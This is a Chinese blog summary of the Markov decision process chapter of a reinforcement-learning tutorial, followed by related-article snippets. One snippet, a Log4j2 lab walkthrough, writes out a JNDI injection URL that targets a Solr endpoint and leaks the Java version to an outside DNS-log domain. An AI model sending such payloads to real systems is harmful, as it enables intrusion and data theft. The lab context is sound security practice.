强化学习基础篇二:马尔可夫决策过程
写在前面
本文是对李沐等“动手学强化学习”教程的个人阅读总结,原文链接:动手学强化学习。
第3章 马尔可夫决策过程
3.1 重要性
马尔可夫决策过程是强化学习中的基础概念,强化学习中的环境就是一个马尔可夫决策过程,与多臂老虎机问题不同,马尔可夫决策过程包含状态信息以及状态之间的转移机制。后续将要介绍的强化学习算法通常都是在求解马尔可夫决策过程中的最优策略。如果要用强化学习去解决一个实际问题,第一步要做的事情就是把这个实际问题抽象为一个马尔可夫决策过程,也就是明确马尔可夫决策过程的各个组成要素。
下文通过逐步介绍马尔可夫过程和马尔可夫奖励过程来引出马尔可夫决策过程。
3.2 马尔可夫过程
3.2.1 随机过程
在随机过程(stochastic process)中,随机现象在某时刻 t t t 的取值是一个向量随机变量,用 S t S_t St 表示,所有可能的状态组成状态集合 S \mathcal{S} S。随机现象便是状态的变化过程。在某时刻 t t t 的状态 S t S_t St 通常取决于 t t t 时刻之前的状态。将已知历史信息 ( S 1 , … , S t ) (S_1,\dots,S_t) (S1,…,St) 时下一个时刻状态为 S t + 1 S_{t+1} St+1 的概率表示成 P ( S t + 1 ∣ S 1 , … , S t ) P(S_{t+1}|S_1,\dots,S_t) P(St+1∣S1,…,St)。
3.2.2 马尔可夫性质
当且仅当某时刻的状态只取决于上一时刻的状态时,一个随机过程被称为具有马尔可夫性质(Markov property),用公式表示为 $ P ( S t + 1 ∣ S t ) = P ( S t + 1 ∣ S 1 , … , S t ) P(S_{t+1}|S_t)=P(S_{t+1}|S_1,\dots,S_t) P(St+1∣St)=P(St+1∣S1,…,St)。但注意,具有马尔可夫性并不代表这个随机过程就和历史完全没有关系。因为虽然 t + 1 t+1 t+1 时刻的状态只与 t t t 时刻的状态有关,但是 t t t 时刻的状态其实包含了 t − 1 t-1 t−1 时刻的状态的信息,通过这种链式的关系,历史的信息被传递到了现在。
3.2.2 马尔可夫过程
马尔可夫过程(Markov process)指具有马尔可夫性质的随机过程,也被称为马尔可夫链(Markov chain),常用元组 < S , P > <\mathcal{S},\mathcal{P}> <S,P> 表示,其中 S = ( s 1 , s 2 … , s n ) \mathcal{S}=(s_1,s_2\dots,s_n) S=(s1,s2…,sn) 是有限数量的状态集合, P \mathcal{P} P 是状态转移矩阵(state transition matrix),定义了所有状态对之间的转移概率,即:
P = [ P ( s 1 ∣ s 1 ) ⋯ P ( s n ∣ s 1 ) ⋮ ⋱ ⋮ P ( s 1 ∣ s n ) ⋯ P ( s n ∣ s n ) ] \mathcal{P} = \begin{bmatrix} P(s_1|s_1) & \cdots & P(s_n|s_1) \\ \vdots & \ddots & \vdots \\ P(s_1|s_n) & \cdots & P(s_n|s_n) \end{bmatrix} P= P(s1∣s1)⋮P(s1∣sn)⋯⋱⋯P(sn∣s1)⋮P(sn∣sn)
称 P ( s ′ ∣ s ) P(s'|s) P(s′∣s) 为状态转移函数。从某个状态出发,到达其他状态的概率和必须为 1,即状态转移矩阵 P \mathcal{P} P 的每一行的和为 1。
在状态集合 S \mathcal{S} S 中,不会再转移到其他状态的那个状态(可以理解为它永远以概率 1 转移到自己)称为终止状态(terminal state)。给定一个马尔可夫过程,我可以从某个状态出发,根据状态转移矩阵生成一个状态序列(episode),这个步骤也被叫做采样(sampling)。生成序列的概率与状态转移矩阵相关。
3.3 马尔可夫奖励过程
在马尔可夫过程的基础上加入奖励函数 r r r 和折扣因子 γ \gamma γ,就可以得到马尔可夫奖励过程(Markov reward process),常用元组 < S , P , r , γ > <\mathcal{S},\mathcal{P},r,\gamma> <S,P,r,γ> 表示。其中:
- S \mathcal{S} S 是有限状态的集合。
- P \mathcal{P} P 是状态转移矩阵。
- r r r 是奖励函数,某个状态 s s s 的奖励 r ( s ) r(s) r(s) 指转移到该状态时可立即获得的奖励的期望。
- γ \gamma γ 是折扣因子(discount factor),取值范围为 [ 0 , 1 ) [0,1) [0,1)。引入折扣因子的理由为远期利益具有一定不确定性,有时我们更希望能够尽快获得一些奖励,所以我们需要对远期利益打一些折扣。接近 1 的 γ \gamma γ 更关注长期的累计奖励,接近 0 的 γ \gamma γ 更考虑短期奖励。
3.3.1 回报
在一个 MRP 中,从第 t t t 时刻状态开始,直到终止状态时,所有奖励的衰减之和称为回报 G t G_t Gt(Return),公式如下:
G t = R t + γ R t + 1 + γ 2 R t + 2 + ⋯ = ∑ k = 0 ∞ γ k R t + k G_t = R_t + \gamma R_{t+1} + \gamma^2 R_{t+2} + \cdots = \sum_{k=0}^{\infty} \gamma^k R_{t+k} Gt=Rt+γRt+1+γ2Rt+2+⋯=k=0∑∞γkRt+k其中 R t R_t Rt 表示在 t t t 时刻获得的奖励。
3.3.2 价值函数
在 MRP 中,一个状态的期望回报(即从这个状态出发的未来累积奖励的期望)被称为这个状态的价值(value),价值函数就是输入某个状态,输出该状态的价值,记为: V ( s ) = E [ G t ∣ S t = s ] V(s) = \mathbb{E} [ G_t \mid S_t = s ] V(s)=E[Gt∣St=s]。结合价值函数定义、期望的性质、马尔可夫性质可推导出 MRP 中非常有名的贝尔曼方程(Bellman equation):(推导过程参见原文)
V ( s ) = r ( s ) + γ ∑ s ′ ∈ S p ( s ′ ∣ s ) V ( s ′ ) V(s) = r(s) + \gamma \sum_{s' \in S} p(s' \mid s) V(s') V(s)=r(s)+γs′∈S∑p(s′∣s)V(s′) 求解较大规模的 MRP 中的价值函数时,可以使用动态规划(dynamic programming)算法、蒙特卡洛方法(Monte-Carlo method)和时序差分(temporal difference),这些方法将在之后的章节介绍。
3.4 马尔可夫决策过程
马尔可夫过程和马尔可夫奖励过程都是自发改变的随机过程,如果有一个外界的“刺激”来共同改变这个随机过程,就有了马尔可夫决策过程(Markov decision process,MDP)。将这个来自外界的刺激称为智能体(agent)的动作,在马尔可夫奖励过程(MRP)的基础上加入动作,就得到了马尔可夫决策过程(MDP),常用元组 < S , A , P , r , γ > <\mathcal{S},\mathcal{A},\mathcal{P},r,\gamma> <S,A,P,r,γ> 表示。其中:
- S \mathcal{S} S 是状态的集合。
- A \mathcal{A} A 是动作的集合。
- γ \gamma γ 是折扣因子。
- r ( s , a ) r(s,a) r(s,a) 是奖励函数,此时奖励可以取决于状态和动作,在奖励函数只取决于状态时,则退化为 r ( s ) r(s) r(s);
- P ( s ′ ∣ s , a ) P(s'|s,a) P(s′∣s,a) 是状态转移函数,表示在状态 s s s 执行动作 a a a 之后到达状态 s ′ s' s′ 的概率。
MDP 与 MRP 主要区别为 MDP 中的状态转移函数和奖励函数都比 MRP 多了动作作为自变量。在 MDP 的定义中,不再使用类似 MRP 定义中的状态转移矩阵方式,而是直接表示成了状态转移函数。
MDP 是一个与时间相关的不断进行的过程,通常存在一个智能体来执行动作,在智能体和环境之间存在一个不断交互的过程。一般而言,它们之间的交互是如下图循环过程:智能体根据当前状态 S t S_t St 选择动作 A t A_t At;对于状态 S t S_t St 和动作 A t A_t At,MDP 根据奖励函数和状态转移函数得到 R t R_t Rt 和 S t + 1 S_{t+1} St+1 并反馈给智能体。智能体的目标是最大化得到的累计奖励。智能体根据当前状态从动作的集合 A \mathcal{A} A 中选择一个动作的函数,被称为策略。

3.4.1 策略
智能体的策略(Policy)通常用字母 π \pi π 表示。策略 π ( a ∣ s ) = P ( A t = a ∣ S t = s ) \pi(a|s) = P(A_t = a | S_t = s) π(a∣s)=P(At=a∣St=s) 是一个函数,表示在输入状态 s s s 后采取动作 a a a 的概率。当一个策略是确定性策略(deterministic policy)时,它在每个状态时只输出一个确定性的动作,即只有该动作的概率为 1,其他动作的概率为 0;当一个策略是随机性策略(stochastic policy)时,它在每个状态时输出的是关于动作的概率分布,然后根据该分布进行采样就可以得到一个动作。在 MDP 中,由于马尔可夫性质的存在,策略只需要与当前状态有关,不需要考虑历史状态。
3.4.2 状态价值函数和动作价值函数
在 MDP 中,基于策略 π \pi π 的状态价值函数(state-value function) V π ( s ) V^\pi(s) Vπ(s) 定义为从状态 s s s 出发遵循策略 π \pi π 能获得的期望回报,数学表达为:
V π ( s ) = E π [ G t ∣ S t = s ] . V^{\pi}(s) = \mathbb{E}_{\pi}[G_t | S_t = s]. Vπ(s)=Eπ[Gt∣St=s]. 此外,由于动作的存在,额外定义一个基于策略 π \pi π 的动作价值函数(action-value function) Q π ( s , a ) Q^\pi(s,a) Qπ(s,a),表示在 MDP 遵循策略 π \pi π 时,对当前状态 s s s 执行动作 a a a 得到的期望回报,数学表达为:
Q π ( s , a ) = E π [ G t ∣ S t = s , A t = a ] . Q^{\pi}(s, a) = \mathbb{E}_{\pi}[G_t | S_t = s, A_t = a]. Qπ(s,a)=Eπ[Gt∣St=s,At=a].
3.4.3 状态价值函数和动作价值函数的关系
在使用策略 π \pi π 时,状态的价值等于在该状态下基于策略采取所有动作的概率与相应的价值相乘再求和的结果:
V π ( s ) = ∑ a ∈ A π ( a ∣ s ) Q π ( s , a ) . V^{\pi}(s) = \sum_{a \in A} \pi(a|s) Q^{\pi}(s, a). Vπ(s)=a∈A∑π(a∣s)Qπ(s,a). 使用策略 π \pi π 时,状态 s s s 下采取动作 a a a 的价值等于即时奖励加上经过衰减后的所有可能的下一个状态的状态转移概率与相应的价值的乘积:
Q π ( s , a ) = r ( s , a ) + γ ∑ s ′ ∈ S P ( s ′ ∣ s , a ) V π ( s ′ ) . Q^{\pi}(s, a) = r(s, a) + \gamma \sum_{s' \in S} P(s'|s, a) V^{\pi}(s'). Qπ(s,a)=r(s,a)+γs′∈S∑P(s′∣s,a)Vπ(s′).
3.5 蒙特卡洛方法
蒙特卡洛方法(Monte-Carlo methods)也被称为统计模拟方法,是一种基于概率统计的数值计算方法。运用蒙特卡洛方法时,通常使用重复随机抽样,然后运用概率统计方法来从抽样结果中归纳出想求的目标的数值估计。
用蒙特卡洛方法来估计一个策略在一个 MDP 中的状态价值函数的基本思路是:用策略在 MDP 上采样很多条序列,然后计算在这些序列中从这个状态出发的回报,再求其期望,当采样序列数足够大时,每一个状态计算的期望接近于其实际的期望:
V π ( s ) = E π [ G t ∣ S t = s ] ≈ 1 N ∑ i = 1 N G t ( i ) . V^{\pi}(s) = \mathbb{E}_{\pi}[G_t | S_t = s] \approx \frac{1}{N} \sum_{i=1}^{N} G_t^{(i)}. Vπ(s)=Eπ[Gt∣St=s]≈N1i=1∑NGt(i). 假设我们用策略 π \pi π 从状态 s s s 开始采样序列,据此来计算状态价值。我们为每一个状态维护一个计数器和总回报,计算状态价值的具体过程如下所示:
(1) 使用策略采样若干条序列:
s 0 ( i ) → a 0 ( i ) r 0 ( i ) , s 1 ( i ) → a 1 ( i ) r 1 ( i ) , s 2 ( i ) → a 2 ( i ) ⋯ → a T − 1 ( i ) r T − 1 ( i ) , s T ( i ) s_0^{(i)} \xrightarrow{a_0^{(i)}} r_0^{(i)}, s_1^{(i)} \xrightarrow{a_1^{(i)}} r_1^{(i)}, s_2^{(i)} \xrightarrow{a_2^{(i)}} \cdots \xrightarrow{a_{T-1}^{(i)}} r_{T-1}^{(i)}, s_T^{(i)} s0(i)a0(i)r0(i),s1(i)a1(i)r1(i),s2(i)a2(i)⋯aT−1(i)rT−1(i),sT(i)(2) 对每一条序列中的每一时间步 t t t 的状态 s s s 进行以下操作:
- 更新状态的计数器 N ( s ) ← N ( s ) + 1 N(s) \leftarrow N(s) + 1 N(s)←N(s)+1;
- 更新状态的总回报 M ( s ) ← M ( s ) + G t M(s) \leftarrow M(s) + G_t M(s)←M(s)+Gt;
(3) 每一个状态的价值被估计为回报的平均值 V ( s ) = M ( s ) / N ( s ) V(s)=M(s)/N(s) V(s)=M(s)/N(s)。
根据大数定律,当 N ( s ) → ∞ N(s) \rightarrow \infty N(s)→∞ 时,有 V ( s ) → V π ( s ) V(s) \rightarrow V^{\pi}(s) V(s)→Vπ(s) 。计算回报的期望时,除了可以把所有的回报加起来除以次数,还有一种增量更新的方法:
- N ( s ) ← N ( s ) + 1 N(s) \leftarrow N(s) + 1 N(s)←N(s)+1
- V ( s ) ← V ( s ) + 1 N ( s ) ( G − V ( s ) ) V(s) \leftarrow V(s) + \frac{1}{N(s)}(G - V(s)) V(s)←V(s)+N(s)1(G−V(s))
3.6 占用度量
策略 π \pi π 的占用度量(occupancy measure)表示采取 π \pi π 时动作状态对 ( s , a ) (s,a) (s,a) 被访问到的概率,定义如下:
ρ π ( s , a ) = ( 1 − γ ) ∑ t = 0 ∞ γ t P t π ( s ) π ( a ∣ s ) \rho^{\pi}(s, a) = (1 - \gamma) \sum_{t=0}^{\infty} \gamma^t P_t^{\pi}(s) \pi(a|s) ρπ(s,a)=(1−γ)t=0∑∞γtPtπ(s)π(a∣s)具有以下 2 个定理:
定理 1:智能体分别以策略 π 1 \pi_1 π1 和 π 2 \pi_2 π2 和同一个 MDP 交互得到的占用度量 ρ π 1 \rho^{\pi_1} ρπ1 和 ρ π 2 \rho^{\pi_2} ρπ2 满足 ρ π 1 = ρ π 2 ⟺ π 1 = π 2 \rho^{\pi_1} = \rho^{\pi_2} \iff \pi_1 = \pi_2 ρπ1=ρπ2⟺π1=π2。
定理 2:给定一合法占用度量 ρ \rho ρ,可生成该占用度量的唯一策略是 π ρ = ρ ( s , a ) ∑ a ′ ρ ( s , a ′ ) \pi_{\rho} = \frac{\rho(s, a)}{\sum_{a'} \rho(s, a')} πρ=∑a′ρ(s,a′)ρ(s,a)。
3.7 最优策略
最优策略可能有很多个,我们都将其表示为 π ∗ \pi^* π∗。最优策略具有相同的状态价值函数,我们称之为最优状态价值函数,表示为:
V ∗ ( s ) = max π V π ( s ) , ∀ s ∈ S V^{*}(s) = \max_{\pi} V^{\pi}(s), \quad \forall s \in \mathcal{S} V∗(s)=πmaxVπ(s),∀s∈S 同理可定义最优动作价值函数:
Q ∗ ( s , a ) = max π Q π ( s , a ) , ∀ s ∈ S , a ∈ A Q^{*}(s, a) = \max_{\pi} Q^{\pi}(s, a), \quad \forall s \in \mathcal{S}, a \in \mathcal{A} Q∗(s,a)=πmaxQπ(s,a),∀s∈S,a∈A
3.7.1 最优状态价值函数和最优动作价值函数的关系
为了使 Q π ( s , a ) Q^{\pi}(s, a) Qπ(s,a) 最大,我们需要在当前的状态动作对之后都执行最优策略,于是有:
Q ∗ ( s , a ) = r ( s , a ) + γ ∑ s ′ ∈ S P ( s ′ ∣ s , a ) V ∗ ( s ′ ) Q^{*}(s, a) = r(s, a) + \gamma \sum_{s' \in S} P(s'|s, a) V^{*}(s') Q∗(s,a)=r(s,a)+γs′∈S∑P(s′∣s,a)V∗(s′) 另一方面,最优状态价值是选择此时使最优动作价值最大的那一个动作时的状态价值:
V ∗ ( s ) = max a ∈ A Q ∗ ( s , a ) V^{*}(s) = \max_{a\in \mathcal{A}} Q^{*}(s,a) V∗(s)=a∈AmaxQ∗(s,a)
3.7.2 贝尔曼最优方程
根据 3.7.1 中描述的 V ∗ ( s ) V^{*}(s) V∗(s) 和 Q ∗ ( s , a ) Q^{*}(s, a) Q∗(s,a) 的关系,可以得到贝尔曼最优方程(Bellman optimality equation):
V ∗ ( s ) = max a ∈ A { r ( s , a ) + γ ∑ s ′ ∈ S p ( s ′ ∣ s , a ) V ∗ ( s ′ ) } V^*(s) = \max_{a \in A} \left\{ r(s, a) + \gamma \sum_{s' \in S} p(s'|s, a) V^*(s') \right\} V∗(s)=a∈Amax{r(s,a)+γs′∈S∑p(s′∣s,a)V∗(s′)} Q ∗ ( s , a ) = r ( s , a ) + γ ∑ s ′ ∈ S p ( s ′ ∣ s , a ) max a ′ ∈ A Q ∗ ( s ′ , a ′ ) Q^*(s, a) = r(s, a) + \gamma \sum_{s' \in S} p(s'|s, a) \max_{a' \in A} Q^*(s', a') Q∗(s,a)=r(s,a)+γs′∈S∑p(s′∣s,a)a′∈AmaxQ∗(s′,a′)
相关文章:
强化学习基础篇二:马尔可夫决策过程
写在前面 本文是对李沐等“动手学强化学习”教程的个人阅读总结,原文链接:动手学强化学习。 第3章 马尔可夫决策过程 3.1 重要性 马尔可夫决策过程是强化学习中的基础概念,强化学习中的环境就是一个马尔可夫决策过程,与多臂老虎…...
EtherCAT转profinet网关集成汽车变速箱制造生产线自动化升级
客户的汽车零部件制造商需要升级其变速箱齿轮加工生产线,面临的关键挑战是整合新引进的欧洲齿轮精密检测设备(基于EtherCAT协议)与现有使用profinet协议自动化系统通信。 企业核心控制平台基于西门子PLC,而现场各工位采用分布式I/…...
tongweb7控制台无法访问
tongweb7控制台无法访问 排查 1.首先确认版本,如果版本是轻量级版本,轻量版不支持会话(session)的备份和复制、管理控制台、APM 运维工具等企业级增量功能。 2.查看端口 命令:ss -tnlp 或者netstat -tnlp 确认控制台端口是否开启 3.在conf…...
Spring中的循环依赖问题是什么?
在使用Spring框架进行开发时,可能会遇到一个比较棘手的问题,那就是循环依赖。说到循环依赖,很多人可能会感到有些困惑,难道这个问题真的有那么复杂吗?其实,理解循环依赖并不是很难。我们可以从Spring的依赖…...
【STM32】从新建一个工程开始:STM32 新建工程的详细步骤
STM32 开发通常使用 Keil MDK、STM32CubeMX、IAR 等工具来创建和管理工程。此处是 使用 Keil MDK5 STM32CubeMX 创建 STM32 工程的详细步骤。 新建的标准库工程文件已上传至资源中,下载后即可直接使用。 标准库新建 STM32 工程的基本目录结构:STD_STM…...
基于“动手学强化学习”的知识点(五):第 18 章 离线强化学习(gym版本 >= 0.26)
第 18 章 离线强化学习(gym版本 > 0.26) 摘要SAC 算法部分CQL 算法CQL 总结与大函数意义CQL 总结CQL 类详细分析 摘要 本系列知识点讲解基于动手学强化学习中的内容进行详细的疑难点分析!具体内容请阅读动手学强化学习࿰…...
搞定python之九----常用内置模块
本文是《搞定python》系列文章的第九篇,介绍常用的内置模块的使用。到此为止python的基础用法就彻底说完了,大家可以在此基础上学习爬虫、web处理等框架了。 本文的代码相对比较多,大家注意看代码即可。python的文档我贴出来,毕竟…...
判断是不是完全二叉树(C++)
目录 1 问题描述 1.1 示例1 1.2 示例2 1.3 示例3 2 解题思路 3 代码实现 4 代码解析 4.1 定义队列,初始化根节点 4.2 层序遍历,处理每个节点 4.3 处理空节点 4.4 处理非空节点 5 总结 1 问题描述 给定一个二叉树,确定他是否是一…...
DeepSeek在学术研究方向初期工作提示词分享
目录 论文选题 研读文献 拟定提纲 大家好这里是AIWritePaper官方账号!更多内容👉AIWritePaper~在如今这个学术圈的“快车道”上,时间就像是一场永不停歇的赛跑,而论文质量则是那颗我们拼命追逐的“金苹果”。最近一款名为DeepS…...
神经外科手术规划的实现方案及未来发展方向
Summary: 手术规划软件 效果图,样例: 神经外科手术规划样例: 神经外科手术规划,三维重建,三维建模,三维可视化 Part1: 手术规划的定义与作用 一、手术规划的定义 手术规划是指在手术前,通过详…...
easypoi导入Excel兼容日期和字符串格式的日期和时间
问题场景 在使用easypoi导入Excel时,涉及到的常用日期会有yyyy-MM-dd HH:mm:ss、yyyy-MM-dd和HH:mm:ss,但是Excel上面的格式可不止这些,用户总会输入一些其他格式,如 如果在定义verify时用下面这种格式定义,那么总会…...
【计算机视觉】工业表计读数(2)--表计检测
1. 简介 工业表计(如压力表、电表、气表等)在工控系统、能源管理等领域具有重要应用。然而,传统人工抄表不仅工作量大、效率低,而且容易产生数据误差。近年来,基于深度学习的目标检测方法在工业检测中展现出极大优势&…...
Zbrush插件安装
安装目录在: ...\Zbrush2022\ZStartup\ZPlugs64...
LeRobot源码剖析——对机器人各个动作策略的统一封装:包含ALOHA ACT、Diffusion Policy、VLA模型π0
前言 过去2年多的深入超过此前7年,全靠夜以继日的勤奋,一天当两天用,抠论文 抠代码 和大模型及具身同事讨论,是目前日常 而具身库里,idp3、π0、lerobot值得反复研究,故,近期我一直在抠π0及l…...
OpenCV基础【图像和视频的加载与显示】
目录 一.创建一个窗口,显示图片 二.显示摄像头/多媒体文件 三.把摄像头录取到的视频存储在本地 四.鼠标回调事件 五.TrackBar滑动条 一.创建一个窗口,显示图片 import cv2img_path "src/fengjing.jpg" # 自己的图片路径 img cv2.imre…...
Visual Studio2022 中的键盘注释快捷方式
键盘快捷键 - Visual Studio (Windows) | Microsoft Learn 从官网查询: 注释选定内容CtrlKC [文本编辑器]编辑.注释选定内容 取消注释选定内容CtrlKU [文本编辑器]编辑.取消注释选定内容 官网显示版本2010应该也是用以上办法,本人还没尝试过。 使用注…...
【iOS】SwiftUI 路由管理(NavigationStack)
QDRouter.swift import SwiftUIMainActor class QDRouter: ObservableObject {Published var path NavigationPath()static let main QDRouter() // 单例private init() {}func open(_ url: String) {guard let url URL(string: url) else {return}UIApplication.shared.op…...
杨校老师课堂之编程入门与软件安装【图文笔记】
亲爱的同学们,热烈欢迎踏入青少年编程的奇妙世界! 我是你们的授课老师杨校 ,期待与大家一同开启编程之旅。 1. 轻松叩开编程之门 1.1 程序的定义及生活中的应用 程序是人与计算机沟通的工具。在日常生活中,像手机里的各类 APP、电…...
numpy学习笔记6:np.sin(a) 的详细解释
numpy学习笔记6:np.sin(a) 的详细解释 以下是关于 np.sin(a) 的详细解释: 1. 函数作用 np.sin(a) 是 NumPy 中用于计算数组(或标量)元素的正弦值的函数: 输入:数组 a(元素单位为弧度ÿ…...
Excel(函数篇):IF函数、FREQUNCY函数、截取函数、文本处理函数、日期函数、常用函数详解
目录 IF函数等于判断区间判断与AND函数、OR函数一同使用IFNA函数和IFERROR函数 FREQUNCY函数、分断统计LEFT、RIGHT、MID截取函数FIND函数、LEN函数SUBSTITUTE函数ASC函数、WIDECHAR函数实战:如何获取到表中所有工作簿名称文本处理函数TEXT函数TEXTJOIN函数 日期函数…...
利用大语言模型生成的合成数据训练YOLOv12:提升商业果园苹果检测的精度与效
之前小编分享过关于《YOLO11-CBAM集成:提升商业苹果园树干与树枝分割的精准度》,改进YOLO11算法后,进行苹果树的实例分割。本期文章我们将分享关于最新的YOLO12算法改进的苹果目标检测。 论文题目:Improved YOLOv12 with LLM-Gen…...
RabbitMQ 和 Redis 的选择
在处理大规模消息场景时,RabbitMQ 和 Redis 的选择需根据具体需求权衡。 大规模消息场景的关键考量 吞吐量需求: Redis:更适合 超高频写入(如百万级/秒),但需牺牲部分可靠性。RabbitMQÿ…...
整合百款经典街机游戏的模拟器介绍
对于80、90后而言,街机游戏承载着童年的欢乐记忆。今天要给大家介绍一款超棒的软件——「MXui街机厅经典游戏101款」,它能带你重回那段热血沸腾的街机时光。 「MXui街机厅经典游戏101款」是一款绿色免安装的街机模拟器,体积约1.39G。无需繁琐…...
Qt 读取数据库
在 Qt 中读取数据库文件通常涉及以下步骤。这里以 SQLite 为例(Qt 内置支持),其他数据库(如 MySQL、PostgreSQL)需要对应驱动: 1. 添加 SQL 模块依赖 在项目文件 .pro 中添加: QT sql2. 基本…...
中小型企业大数据平台全栈搭建:Hive+HDFS+YARN+Hue+ZooKeeper+MySQL+Sqoop+Azkaban 保姆级配置指南
目录 背景一、环境规划与依赖准备1. 服务器规划(3节点集群)2. 系统与依赖3. Hadoop生态组件版本与下载路径4. 架构图二、Hadoop(HDFS+YARN)安装与配置1. 下载与解压(所有节点)2. HDFS高可用配置3. YARN资源配置4. 启动Hadoop集群三、MySQL安装与Hive元数据配置…...
Tomcat、Open Liberty 和 WebSphere Application Server (WAS) 的配置、调试和跟踪
一、Tomcat Tomcat 是一个轻量级的开源 Java Servlet 容器。 1、配置 Tomcat 的主要配置文件位于其安装目录下的 conf 文件夹中。 server.xml: 这是 Tomcat 的核心配置文件,包含了服务器的基本设置,例如端口号、连接器配置、虚拟主机配置、以及全局的…...
使用yolov8+flask实现精美登录界面+图片视频摄像头检测系统
这个是使用flask实现好看登录界面和友好的检测界面实现yolov8推理和展示,代码仅仅有2个html文件和一个python文件,真正做到了用最简洁的代码实现复杂功能。 测试通过环境: windows x64 anaconda3python3.8 ultralytics8.3.81 flask1.1.2…...
Go语言环境搭建(Day1) 常见问题及解决方案指南
Go语言环境搭建(Day1)整理的 常见问题及解决方案指南: Go环境搭建问题排查手册 一、安装阶段问题 问题现象原因分析解决方案安装包下载失败网络问题或官网访问慢使用国内镜像下载:- Go中文网提示"Access Denied"Window…...
微软OneNote无法同步解决方案
目录 前言原因UWP特性 解决方案C***h注册表 参考链接 前言 假设有多台Windows电脑,最方便且免费的多设备笔记同步方案就是微软自家的OneNote,使用OneDrive自带的5G云存储。 但是在国内大陆的OneNote,经常会出现无法同步、同步失败࿱…...
Log4j2漏洞实战
1,打开环境后访问该ip 2,打开dnslog.cn,获取一个域名,我们这里是2bfvl6.dnslog.cn 3,访问http://47.122.51.245:8983/solr/admin/coresaction${jndi:ldap://${sys:java.version}.2bfvl6.dnslog.cn} 4,返回d…...
